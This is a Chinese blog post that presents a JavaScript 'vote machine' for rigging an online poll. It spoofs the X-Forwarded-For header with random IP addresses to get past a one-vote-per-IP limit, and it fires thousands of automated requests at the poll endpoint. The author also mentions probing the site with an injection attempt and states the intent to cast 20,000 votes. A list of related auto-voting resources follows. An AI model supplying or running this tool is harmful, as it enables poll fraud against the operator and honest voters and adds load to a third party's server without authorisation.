`
azvf
  • 浏览: 146657 次
  • 性别: Icon_minigender_1
  • 来自: 北京
社区版块
存档分类
最新评论

js投票器

    博客分类:
  • JS
阅读更多

帮忙网络投票,粗看下,仅有一个ip校验:每天每个ip仅能投票一次。

解决办法1、伪造ip,http协议中,request有个属性:"X-Forwarded-For",这个属性值就是服务器端的程序所能获取的ip。通过request.setRequestHeader("X-Forwarded-For","10.12.10.1");

从网上随便搜了段代码,是网络投票的,稍加改了改,增加伪造ip方法

function r(min,max){
    return Math.floor(min+Math.random()*(max-min));
}
function getRandomIp(){
	return r(1,255) + "." + r(1,255) + "." + r(1,255)+ "." + r(1,255);
}

 上干货,fuck goods

<script>
function CreateXMLHttp2(){
var xmlhttp=null;  if (window.XMLHttpRequest) {  xmlhttp = new XMLHttpRequest();  }  if (!xmlhttp&&window.ActiveXObject)  {      try      {          xmlhttp = new ActiveXObject("Msxml2.XMLHTTP.5.0")      }      catch(e)      {          try          {              xmlhttp = new ActiveXObject("Msxml2.XMLHTTP.4.0")          }          catch(e)          {              try              {                  new ActiveXObject("Msxml2.XMLHTTP")              }              catch(e)              {                  try{new ActiveXObject("Microsoft.XMLHTTP")}catch(e){}              }          }      }  }  if(!xmlhttp){alert("XMLHTTP不可用。即将跳转到非Ajax页面。");location="nonAjax.htm"}
return xmlhttp;
}

var g_i=0;
var timer;
function $(obj){
	return document.getElementById(obj);
}

function onSearch(){
	var g_xmlhttp=CreateXMLHttp2();

	if (!g_xmlhttp){
		alert("你的浏览器不支持ajax");
		return;
	}
	var idVal = $("id").value;
	var sendData="id="+idVal;
	var fakeIP=getRandomIp();
	
	var total = $("total").value;
	var intervalTime = $("intervalTime").value;
	var timeRemain = (total-g_i)*intervalTime/1000;
	$("res").innerHTML="已投票:" + g_i +"</br>估计剩余时间:" + timeRemain + "秒"  + "</br>当前伪造IP:" + fakeIP+"</br>";
	//alert(fakeIP);return ;
	try{
	g_xmlhttp.open("GET","http://www.xxx.com/xly/tp/tp.php?id=" + idVal,true);
	g_xmlhttp.setRequestHeader("Content-Length",sendData.Length);
	g_xmlhttp.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
	//伪造ip的属性
	g_xmlhttp.setRequestHeader("X-Forwarded-For",fakeIP);
	g_xmlhttp.onreadystatechange=function(){
		if(/*g_xmlhttp.status==200*/g_xmlhttp.readyState==4){
			if(++g_i<total){
				timer = setTimeout("onSearch()",intervalTime);
			}
			if(g_i >= total){
				alert("本次投票完成");
			}
		}
	}
	g_xmlhttp.send(sendData);
	}catch(e){
		
	}
}

function r(min,max){
    return Math.floor(min+Math.random()*(max-min));
}
function getRandomIp(){
	return r(1,255) + "." + r(1,255) + "." + r(1,255)+ "." + r(1,255);
}
function stopSearch(){
	clearTimeout(timer);
}
function startInit(){
$("res").innerHTML=""
}
</script>
<form name="form1" method="post" action="" id="form1">
	<div>
		<br />

		<input id="ip" type="hidden" value="124.22.11." />
		<br />
		投票间隔(单位毫秒):
		<input id="intervalTime" type="text" value="200" />
		<br />
		投票总数:
		<input id="total" type="text" value="10000" />
		</br>
		投票ID:
		<input id="id" type="text" value="77" />
		</br>
		<input id="search" type="button" onclick="startInit();onSearch();"
			value="开始" />
		&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
		<input id="search" type="button" onclick="stopSearch();" value="停止" />
		<br />
		<br />
		<span id="res"></span>
		<br />
		<br />
	</div>
</form>

 

不能投票太快,投票要有间隔,主要是怕服务器被投宕机了。试着给注入下,发现应用和数据库是在同一台机器上,每次投票,应用要执行1次DB查询,是查ip+id,如果查询验证成功,则执行1次DB的插入。

算了,不管了,先投2W票再说

0
0
分享到:
评论

相关推荐

    我的自动投票器

    1. **自动化脚本**:自动投票器的核心是自动化执行任务,这通常需要编写脚本,如Python、JavaScript或者批处理脚本。这些脚本可以定时启动,模拟用户操作,完成投票过程。 2. **网络请求**:在投票过程中,工具需要...

    投票代码、投票器、投票java

    这里的"投票代码、投票器、投票java"标题和描述暗示了我们关注的是一个使用Java语言开发的投票系统的前端和后端源代码。下面将详细探讨投票系统的构成、关键技术和涉及的Java编程知识。 1. 投票系统概述: 投票系统...

    我要上春晚自动投票器

    在这个投票器中,当用户选择候选人并触发投票操作时,JavaScript代码会创建一个XMLHttpRequest对象,通过这个对象向服务器发送POST或GET请求,传递投票数据。服务器接收到请求后处理数据,然后返回响应,可能是新的...

    javascript投票百分比动画条

    【javascript投票百分比动画条】是一种使用JavaScript编程语言实现的动态效果,用于展示投票结果的百分比变化。这种动画条通常被用在网站上,以视觉化的方式吸引用户关注投票情况,增加互动性和视觉吸引力。在给定的...

    js投票代码思路vote

    【标题】"js投票代码思路vote"涉及到的核心技术是JavaScript(简称js)和数据库交互,主要目的是实现一个投票功能。JavaScript是一种广泛应用于客户端Web开发的脚本语言,它可以直接在用户的浏览器上运行,无需...

    菜鸟,自己做着玩的一个投票js

    2. **事件监听**:为了响应用户的投票行为,JS需要添加事件监听器到“赞同”和“反对”的按钮上。当用户点击按钮时,对应的事件处理函数会被触发,执行增加票数的操作。 3. **DOM操作**:Document Object Model ...

    js问卷调查投票页面表单代码.zip

    在本压缩包“js问卷调查投票页面表单代码.zip”中,包含了一个使用原生JavaScript实现的在线问卷调查投票页面的代码示例。这个项目主要关注的是如何利用JavaScript技术来创建一个交互性强、功能完善的投票表单。我们...

    类似CSDN资源评价打分或投票的用户控件js代码

    "类似CSDN资源评价打分或投票的用户控件js代码"就是这样一个专为提高用户体验而设计的JavaScript组件。这个控件允许用户在客户端直接进行评分或投票操作,无需服务器端的频繁交互,从而提升了系统的响应速度和效率。...

    jquery投票插件

    `poll.js`是插件的主体部分,它包含JavaScript代码来实现投票逻辑。可能包括以下功能: 1. 使用jQuery选择器获取投票按钮并绑定点击事件。 2. 当用户点击按钮时,阻止默认的提交行为,防止页面刷新。 3. 更新投票...

    投票统计器

    "投票统计器"是一个软件工具,主要用于收集和分析投票数据,可以用于各种场合,如线上问卷调查、会议决策等。这个工具可能包含了源代码,使得用户可以根据自身需求进行定制和扩展。从标签“源码”我们可以推断,该...

    Servlet投票系统

    Servlet投票系统是一个基于Java Servlet技术实现的Web应用程序,主要用于实现在线投票的功能。在这个系统中,用户可以浏览不同的投票主题,选择他们支持的选项,并提交他们的投票。Servlet是Java EE平台中的一个核心...

    asp投票程序(特别实用)

    主要使用的语言是VBScript,但也可以通过引入JScript支持JavaScript。 2. **数据库交互**:为了存储和管理投票选项及投票结果,通常会用到数据库,如Access或SQL Server。ASP可以利用ADO(ActiveX Data Objects)来...

    JS百度百科明星投票遮罩效果.zip

    总的来说,"JS百度百科明星投票遮罩效果"是一个综合运用JavaScript交互性、SVG矢量图形和CSS3动态效果的示例。它展示了前端开发中如何通过这些技术结合,创造出吸引用户的界面效果。开发者需要理解并掌握JavaScript...

    jQuery选中图片打勾投票代码.rar

    jQuery,一个强大的JavaScript库,简化了DOM操作、事件处理以及动画效果,使得此类功能的实现变得轻而易举。 在这个实例中,开发者使用了jQuery-1.9.1.js,这是jQuery的一个稳定版本,提供了丰富的API和兼容性。该...

    JS10排行榜投票系统.rar

    《JS10排行榜投票系统》是一款基于ASP技术构建的在线投票应用,主要功能包括自定义排行榜创建、文章发布以及地图生成。这个系统为用户提供了灵活的互动性,能够适应多种类型的投票活动,如音乐排行榜、电影评选等。...

    投票系统ajax实现 加上ajax聊天系统

    这个文件可能包含了HTML文件、CSS样式表、JavaScript脚本,以及可能的服务器端脚本,如PHP或Node.js,用于处理Ajax请求和数据库操作。 总的来说,这个主题探讨了如何使用Ajax技术来构建实时的投票系统和聊天系统,...

    PHP+AJAX 投票器功能

    【PHP+AJAX 投票器功能】是一个常见的Web开发示例,用于演示如何使用这两种技术来实现不刷新页面的动态交互。在这个实例中,我们将深入理解PHP和AJAX的基本应用,以及它们如何协同工作来创建一个投票系统。 首先,...

    jsp+mysql 在线投票系统

    - css和js:分别存放样式表和JavaScript文件,用于美化页面和处理用户交互。 - images:存放投票系统相关的图像资源。 - lib:包含项目依赖的JAR文件,如Servlet API、JDBC驱动等。 - models:存放JavaBean或Servlet...

    微信投票手机端模板

    这个模板主要用于创建手机端的投票活动,它结合了HTML、CSS和JavaScript(JS)等技术,以提供流畅的用户体验。下面将详细讨论相关知识点: 1. **HTML 结构**:HTML(超文本标记语言)是网页的基础结构,负责定义...

    投票进度条

    在本项目中,我们利用jQuery这一强大的JavaScript库来实现这一功能,使得投票结果的展示更加生动、直观。 jQuery是一个轻量级的JavaScript库,它简化了HTML文档遍历、事件处理、动画制作和Ajax交互等任务。在“投票...

Global site tag (gtag.js) - Google Analytics